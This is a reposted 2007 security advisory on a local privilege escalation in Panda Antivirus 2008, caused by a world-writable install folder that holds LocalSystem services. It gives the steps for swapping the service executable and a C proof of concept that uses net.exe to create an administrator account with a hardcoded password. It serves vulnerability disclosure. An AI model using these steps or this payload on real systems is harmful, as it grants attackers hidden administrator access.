注册
登录
| 关键词： Panda szCmdLine Antivirus szWinDir PAVSRV user owner 2008 with system |
=============CODZ START=============/*_________________________________________Security Advisory__________________________________________________________________________________Severity: MediumTitle: Panda Antivirus 2008 Local Privileg EscalationDate: 02.08.07Author: tarkus (tarkus (at) tiifp (dot) org)URL: https://tiifp.org/tarkusVendor: Panda (http://www.pandasoftware.com/)Affected Products: Panda Antivirus 2008Not Affected Products: - Panda Internetsecurity 2008- Panda Antivirus + Firewall 2008- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -Description:------------1. During installation of Panda Antivirus 2008 the permissions forinstallation folder %ProgramFiles%Panda SecurityPanda Antivirus 2008by default are set to Everyone:Full Control. Few services(e.g. PAVSRV51.EXE) are started from this folder. Services are startedunder LocalSystem account. There is no protection of service files. Itspossible for unprivileged user to replace service executable with thefile of his choice to get full access with LocalSystem privileges. Or toget privileges or any user (including system administrator) who logonsto vulnerable host. This can be exploited by:a. Rename PAVSRV51.exe to PAVSRV51.old in Panda folderb. Copy any application to PAVSRV51.exec. RebootUpon reboot trojaned application will be executed with LocalSystemaccount.BTW: Check this from last year (http://www.securityfocus.com/bid/19891)POC:----*/#include <windows.h>#include <stdio.h>INT main( VOID ){CHAR szWinDir[ _MAX_PATH ];CHAR szCmdLine[ _MAX_PATH ];GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );printf( "Creating user "owner" with password "PandaOWner123"...n" );wsprintf( szCmdLine, "%ssystem32net.exe user owner PandaOWner123 /add", szWinDir );system( szCmdLine );printf( "Adding user "owner" to the local Administrators group...n" );wsprintf( szCmdLine, "%ssystem32net.exe localgroup Administrators owner /add", szWinDir );system( szCmdLine );return 0;}=============CODZ END============= |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
